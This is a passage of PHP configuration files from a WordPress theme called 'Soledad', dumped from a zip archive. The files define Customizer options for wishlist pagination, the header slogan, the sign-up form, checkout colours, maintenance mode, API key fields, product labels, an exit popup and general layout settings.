			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);
$options[] = array(
	'default'     => 'pagination',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Products Pagination', 'soledad' ),
	'description'=>__('Choose a type for the pagination on your shop page.','soledad'),
	'id'          => 'penci_woocommerce_wishlist_pagination',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'pagination' => __('Pagination','soledad' ),
		'infinit'    => __('Infinit Scrolling','soledad' ),
	)
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Quick Text Translate', 'soledad' ),
	'id'       => 'penci_woo_section_wishlist_heading_01',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_woo_trans_wishlist_empty_title',
	'default'  => 'Wishlist is empty.',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Empty wishlist heading text', 'soledad' ),
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'     => 'You don\'t have any products in the wishlist yet. <br> You will find a lot of interesting products on our "Shop" page.',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Empty wishlist text', 'soledad' ),
	'description'=>__('Text will be displayed if user don\'t add any products to wishlist','soledad'),
	'id'          => 'penci_woocommerce_wishlist_empty_text',
	'type'        => 'soledad-fw-textarea',
);

return $options;
PK     N\N+
  
  I  inc/customizer/config/sections/pencidesign_logo_header_slogan_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => 'keep your memories alive',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Header Slogan Text', 'soledad' ),
	'id'          => 'penci_header_slogan_text',
	'description' => __( 'If you want to hide the slogan text, let make it blank', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);

$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove the Lines on Left & Right of Header Slogan', 'soledad' ),
	'id'       => 'penci_header_remove_line_slogan',
	'type'     => 'soledad-fw-toggle',
);

$options[] = array(
	'default'  => '14',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Slogan', 'soledad' ),
	'id'       => 'penci_font_size_slogan',
	'ids'      => array(
		'desktop' => 'penci_font_size_slogan',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);

$options[] = array(
	'default'     => '"PT Serif", "regular:italic:700:700italic", serif',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Font For Header Slogan', 'soledad' ),
	'id'          => 'penci_font_for_slogan',
	'description' => __( 'Default font is "PT Serif"', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => penci_all_fonts()
);

$options[] = array(
	'default'  => 'bold',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Font Weight For Slogan', 'soledad' ),
	'id'       => 'penci_font_weight_slogan',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);

$options[] = array(
	'default'  => 'italic',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Font Style for Slogan', 'soledad' ),
	'id'       => 'penci_font_style_slogan',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'italic' => __('Italic','soledad' ),
		'normal' => __('Normal','soledad' ),
	)
);

return $options;
PK     N\(LX&  &  J  inc/customizer/config/sections/penci_section_header_signupform_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Move Header Sign-Up Form To Below Featured Slider', 'soledad' ),
	'id'          => 'penci_move_signup_below',
	'description' => __( 'If you using Sign-Up form on the header, this option will help you move Sign-Up form to below the featured slider', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Make Header Sign-Up Form Below Featured Slider Full Width', 'soledad' ),
	'id'       => 'penci_move_signup_full_width',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Display Header Sign-Up Form only on Homepage', 'soledad' ),
	'id'       => 'penci_signup_display_homepage',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '20',
	'sanitize' => 'absint',
	'label'    => __( 'Header Sign-Up Form Padding Top & Bottom', 'soledad' ),
	'id'       => 'penci_header_signup_padding',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_header_signup_padding',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '20',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Description on Sign-Up Form', 'soledad' ),
	'id'       => 'penci_header_signup_fdesc',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_header_signup_fdesc',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '13',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Text on "Name" & "Email" fields', 'soledad' ),
	'id'       => 'penci_header_signup_finput',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_header_signup_finput',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for "Subscrible" button', 'soledad' ),
	'id'       => 'penci_header_signup_fsubmit',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_header_signup_fsubmit',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Sign-Up Form Area Background Color', 'soledad' ),
	'id'       => 'penci_header_signup_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Text Color', 'soledad' ),
	'id'       => 'penci_header_signup_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Input Border Color', 'soledad' ),
	'id'       => 'penci_header_signup_input_border',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Input Text Color', 'soledad' ),
	'id'       => 'penci_header_signup_input_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Submit Button Background Color', 'soledad' ),
	'id'       => 'penci_header_signup_submit_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Submit Button Text Color', 'soledad' ),
	'id'       => 'penci_header_signup_submit_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Submit Button Hover Background Color', 'soledad' ),
	'id'       => 'penci_header_signup_submit_bg_hover',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Submit Button Hover Text Color', 'soledad' ),
	'id'       => 'penci_header_signup_submit_color_hover',
);

return $options;
PK     N\
t1    ?  inc/customizer/config/sections/woocommerce_checkout_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'        => 'penci_woo_checkout_breadcrumb_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Breadcrumb Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_breadcrumb_active_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Breadcrumb Active Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_label_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Label Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_border_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Form Input Border Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_border_focus_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Form Input Focus Border Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Form Input Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_bg_focus_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Form Input Focus Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_order_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Order Form Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_order_table_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Order Form Table Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_order_table_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Order Form Table Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_order_head_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Order Form Table Head Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_order_accent_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Order Form Table Accent Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_order_table_border_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Order Form Table Border Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_btn_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_btn_txt_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_btn_hover_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_btn_hover_txt_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Hover Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_review_order_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Review Order Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_before_content',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => __( 'Custom Content Before Checkout Form', 'soledad' ),
	'type'     => 'soledad-fw-textarea',
);
$options[] = array(
	'id'       => 'penci_woo_checkout_after_content',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => __( 'Custom Content After Checkout Form', 'soledad' ),
	'type'     => 'soledad-fw-textarea',
);

return $options;
PK     N\l    A  inc/customizer/config/sections/penci_maintenance_mode_section.phpnu [        <?php
$options           = [];
$options[]         = array(
	'id'          => 'penci_maintenance_mode',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-select',
	'label'       => esc_html__( 'Mode', 'soledad' ),
	'description' => esc_html__( 'Choose between Coming Soon mode (returning HTTP 200 code) or Maintenance Mode (returning HTTP 503 code).', 'soledad' ),
	'choices'     => [
		''             => __( 'Disable', 'soledad' ),
		'comming_soon' => __( 'Coming Soon', 'soledad' ),
		'maintenance'  => __( 'Maintenance', 'soledad' ),
	],
);
$block_options     = [];
$block_options[''] = __( '- Select -', 'soledad' );
$builder_layouts   = get_posts( [
	'post_type'      => 'penci-block',
	'posts_per_page' => - 1,
] );
foreach ( $builder_layouts as $builder_builder ) {
	$block_options[ $builder_builder->ID ] = $builder_builder->post_title;
}
/* Saved Layout */
$options[] = array(
	'id'          => 'penci_maintenance_mode_template',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-select',
	'label'       => esc_html__( 'Choose Penci Block', 'soledad' ),
	'description' => esc_html__( 'To enable maintenance/coming soon mode you have to set a Penci Block for the maintenance mode page. Select one or go ahead and create one now. ', 'soledad' ),
	'choices'     => $block_options,
);
$options[] = array(
	'id'       => 'penci_maintenance_mode_access',
	'default'  => 'logged_in',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Who Can Access', 'soledad' ),
	'choices'  => [
		'logged_in' => __( 'Logged In', 'soledad' ),
		'custom'    => __( 'Custom', 'soledad' ),
	],
);
$options[] = array(
	'default'  => [],
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom User Group Can Access', 'soledad' ),
	'id'       => 'penci_maintenance_mode_custom_roles',
	'type'     => 'soledad-fw-select',
	'multiple' => 999,
	'choices'  => call_user_func( function () {
		$roles = [];

		$wp_roles = new \WP_Roles();
		if ( ! empty( $wp_roles ) ) {
			foreach ( $wp_roles->roles as $role_name => $role_info ) {
				$roles[ $role_name ] = $role_info['name'];
			}
		}

		return $roles;
	} ),
);

return $options;PK     N\`e    D  inc/customizer/config/sections/pencidesign_general_extra_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'       => esc_attr__( 'YouTube API Key', 'soledad' ),
	'id'          => 'penci_youtube_api_key',
	'type'        => 'soledad-fw-text',
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'description' => __( 'Please go to <a class="wp-customizer-link" href="https://developers.google.com/youtube/v3/getting-started?hl=en" target="_blank">https://developers.google.com/youtube/v3/getting-started?hl=en</a> and check this giude and get the YouTube API Key', 'soledad' ),
);
$options[] = array(
	'label'       => esc_attr__( 'Weather API Key', 'soledad' ),
	'id'          => 'penci_api_weather_key',
	'type'        => 'soledad-fw-text',
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'description' => __( '<a class="wp-customizer-link" href="' . esc_url( 'https://openweathermap.org/appid#get' ) . '" target="_blank">' . esc_html__( 'Click here to get an api key', 'soledad' ) . '</a>', 'soledad' )
);
$options[] = array(
	'label'       => esc_attr__( 'Adobe Fonts API Key', 'soledad' ),
	'id'          => 'penci_api_adobe_font',
	'type'        => 'soledad-fw-text',
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'description' => __( 'To use Adobe Fonts you will need a Creative Cloud account. Unlike Google Fonts, this is not a free service.<br><a class="wp-customizer-link" href="' . esc_url( 'https://fonts.adobe.com/account/tokens' ) . '" target="_blank">' . esc_html__( 'Click here to get an api key', 'soledad' ) . '</a>', 'soledad' )
);
$options[] = array(
	'label'       => esc_attr__( 'Google Map API Key', 'soledad' ),
	'id'          => 'penci_map_api_key',
	'type'        => 'soledad-fw-text',
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'description' => __( 'When you use "Penci Map" element from Elementor or WPBakery page builder, it required an Google Map API to make it works. <br> <a class="wp-customizer-link" href="' . esc_url( 'https://console.cloud.google.com/project/_/google/maps-apis/credentials' ) . '" target="_blank">' . esc_html__( 'Click here to get an api key', 'soledad' ) . '</a>', 'soledad' ),
);
$options[] = array(
	'label'    => __( 'Select "rel" Attribute Type for Social Media & Social Share Icons', 'soledad' ),
	'id'       => 'penci_rel_type_social',
	'default'  => 'noreferrer',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'none'                         => __( 'None', 'soledad' ),
		'nofollow'                     => __( 'nofollow', 'soledad' ),
		'noreferrer'                   => __( 'noreferrer', 'soledad' ),
		'noopener'                     => __( 'noopener', 'soledad' ),
		'noreferrer_noopener'          => __( 'noreferrer noopener', 'soledad' ),
		'nofollow_noreferrer'          => __( 'nofollow noreferrer', 'soledad' ),
		'nofollow_noopener'            => __( 'nofollow noopener', 'soledad' ),
		'nofollow_noreferrer_noopener' => __( 'nofollow noreferrer noopener', 'soledad' ),
	)
);
$options[] = array(
	'label'    => __( 'Hide "Archive Template" in the Admin Side Panel Menu', 'soledad' ),
	'id'       => 'penci_hide_archive_builder',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);

$options[] = array(
	'label'    => __( 'Hide "Post Template" in the Admin Side Panel Menu', 'soledad' ),
	'id'       => 'penci_hide_post_builder',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);

$options[] = array(
	'label'    => __( 'Hide "Header Builder" in the Admin Side Panel Menu', 'soledad' ),
	'id'       => 'penci_hide_header_builder',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide "Penci Blocks" in the Admin Side Panel Menu', 'soledad' ),
	'id'       => 'penci_hide_pcblocks',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
if ( get_option( 'penci_soledad_is_activated' ) ) {
	$options[] = array(
		'label'       => __( 'Disable New Version Update Notice on The Admin Page', 'soledad' ),
		'description' => __( 'You can check <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/notice-updates.png" target="_blank">this image</a> to understand what\'s "new version update notice on admin page". When a new version released, this notice will appear. This option will help you disable this notice if you want.', 'soledad' ),
		'id'          => 'penci_disable_notice_updates',
		'type'        => 'soledad-fw-toggle',
		'default'     => false,
		'sanitize'    => 'penci_sanitize_checkbox_field'
	);
}
$options[] = array(
	'label'    => __( 'Use Fontawesome Version 5', 'soledad' ),
	'id'       => 'penci_fontawesome_ver5',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Enable Ajax Submit for MC4WP', 'soledad' ),
	'id'       => 'penci_mc4wp_ajax',
	'type'     => 'soledad-fw-toggle',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Add "Last Modified" columns to the Posts > All Posts screen.', 'soledad' ),
	'id'       => 'penci_lastmodified_pcol',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Add "Total Views" columns to the Posts > All Posts screen.', 'soledad' ),
	'id'       => 'penci_tviews_pcol',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Disable Patch Update Notice', 'soledad' ),
	'id'       => 'penci_disable_patch_update',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Disable Theme Options Panel', 'soledad' ),
	'id'       => 'penci_disable_theme_options',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Handle AJAX with REST API', 'soledad' ),
	'id'       => 'penci_handle_ajax_with_rest_api',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Enable Content Protection', 'soledad' ),
	'description' => __( 'Protect your content by disabling text/image copying and view source access.', 'soledad' ),
	'id'          => 'penci_enable_content_protection',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'type'      => 'soledad-fw-button',
	'data_type' => 'penci_fix_polylang_translation',
	'nonce'     => esc_html( wp_create_nonce( 'penci_fix_polylang_translation' ) ),
	'label'     => __( 'Fix Polylang Translation Issue', 'soledad' ),
	'id'        => 'penci_fix_polylang_translation_button',
);

return $options;
PK     N\qS  S  I  inc/customizer/config/sections/pencidesign_woo_label_settings_section.phpnu [        <?php
$options = [];
/*Product Label Settings*/
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show HOT label ?', 'soledad' ),
	'description'=>__('Display HOT label on featured product.','soledad'),
	'id'          => 'penci_woo_label_hot_product',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'square',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Select Label Style', 'soledad' ),
	'id'       => 'penci_woo_label_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'square' => __('Rectangle','soledad' ),
		'round'  => __('Round','soledad' ),
	),
);
$options[] = array(
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Percentage on sale label ?', 'soledad' ),
	'id'       => 'penci_woo_label_percentage',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_woo_label_new_product',
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show NEW label ?', 'soledad' ),
	'description'=>__('Display NEW label on product.','soledad'),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_woo_label_new_product_period',
	'default'     => 7,
	'sanitize'    => 'absint',
	'label'       => __( 'Automatic "New" label period', 'soledad' ),
	'description'=>__('Set a number of days to keep your products marked as "New" after creation.','soledad'),
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_woo_label_new_product_period',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '7',
		),
	),
);
$options[] = array(
	'id'        => 'penci_woo_label_new_color',
	'default'   => '#8dd620',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'New Label Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_label_hot_color',
	'default'   => '#fb1919',
	'transport' => 'refresh',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Hot Label Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_label_hot_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Sale Label Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_label_outstock_color',
	'default'   => '#800000',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Out of Stock Label Background Color', 'soledad' ),
);

return $options;
PK     N\O`    G  inc/customizer/config/sections/penci_epopup_section_general_section.phpnu [        <?php
$options   = array();
$options[] = array(
	'id'          => 'penci_epopup_enable',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Exit Intent Popup', 'soledad' ),
	'description' => __( 'Show popup when user leave the site.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'        => 'penci_epopup_html_content',
	'default'   => '',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => __( 'Load Popup Content Using Shortcode/HTML', 'soledad' ),
	'type'      => 'soledad-fw-code',
	'code_type' => 'text/html',
);
$options[] = array(
	'id'          => 'penci_epopup_block',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Popup Content', 'soledad' ),
	'description' => __( 'You can add new or edit a Penci Block on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=penci-block' ) ) . '">this page</a>', 'soledad' ),
	'type'        => 'soledad-fw-ajax-select',
	'choices'     => call_user_func( function () {
		$builder_layout  = [ '' => __( '- Select -', 'soledad' ) ];
		$builder_layouts = get_posts( [
			'post_type'      => 'penci-block',
			'posts_per_page' => - 1,
		] );

		foreach ( $builder_layouts as $builder_builder ) {
			$builder_layout[ $builder_builder->post_name ] = $builder_builder->post_title;
		}

		return $builder_layout;
	} ),
);
$options[] = array(
	'id'       => 'penci_epopup_animation',
	'default'  => 'move-to-top',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Open Animation', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'move-to-left'   => __( 'Move To Left', 'soledad' ),
		'move-to-right'  => __( 'Move To Right', 'soledad' ),
		'move-to-top'    => __( 'Move To Top', 'soledad' ),
		'move-to-bottom' => __( 'Move To Bottom', 'soledad' ),
		'fadein'         => __( 'Fade In', 'soledad' ),
	]
);
return $options;PK     N\>MmM  mM  J  inc/customizer/config/sections/pencidesign_new_section_general_section.phpnu [        <?php
$options   = array();
$options[] = array(
	'id'       => 'penci_favicon',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image',
	'label'    => __( 'Upload Favicon', 'soledad' ),
);
$options[] = array(
	'default'     => 'horizontal',
	'label'       => __( 'Featured Images Type:', 'soledad' ),
	'id'          => 'penci_featured_image_size',
	'description' => __( 'This feature does not apply to Featured Sliders and certain special areas. For featured images on category mega menu items, please select the option for it via <strong>Customize > Logo & Header</strong>.', 'soledad' ),
	'type'        => 'soledad-fw-radio',
	'sanitize'    => 'penci_sanitize_choices_field',
	'choices'     => array(
		'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
		'square'     => esc_html__( 'Square Size', 'soledad' ),
		'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
		'custom'     => esc_html__( 'Custom', 'soledad' ),
	),
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Auto Get Featured Image from Post Content', 'soledad' ),
	'id'          => 'penci_enable_auto_featured_image',
	'type'        => 'soledad-fw-toggle',
	'description' => __( 'If you haven\'t uploaded featured images for your posts, this option will automatically set the first image from the post content or the YouTube/Vimeo thumbnail as the featured image.', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_default_thumbnail',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image',
	'label'    => __( 'Default Thumbnail Image', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_thumbnail_zoom_effect',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'type'     => 'soledad-fw-toggle',
	'label'    => __( 'Enable Thumbnail Zoom Effect', 'soledad' ),
);
$options[] = array(
	'default'     => '',
	'label'       => __( 'Custom Container Width', 'soledad' ),
	'id'          => 'penci_custom_container_w',
	'description' => __( 'Default is 1170px. Minimum is 800px', 'soledad' ),
	'type'        => 'soledad-fw-size',
	'sanitize'    => 'absint',
	'ids'         => array(
		'desktop' => 'penci_custom_container_w',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 800,
			'max'  => 10000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'     => '',
	'label'       => __( 'Custom Container Width for Two Sidebars', 'soledad' ),
	'id'          => 'penci_custom_container2_w',
	'description' => __( 'Default is 1400px. Minimum is 800px', 'soledad' ),
	'type'        => 'soledad-fw-size',
	'sanitize'    => 'absint',
	'ids'         => array(
		'desktop' => 'penci_custom_container2_w',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 800,
			'max'  => 10000,
			'step' => 1,
			'edit' => true,
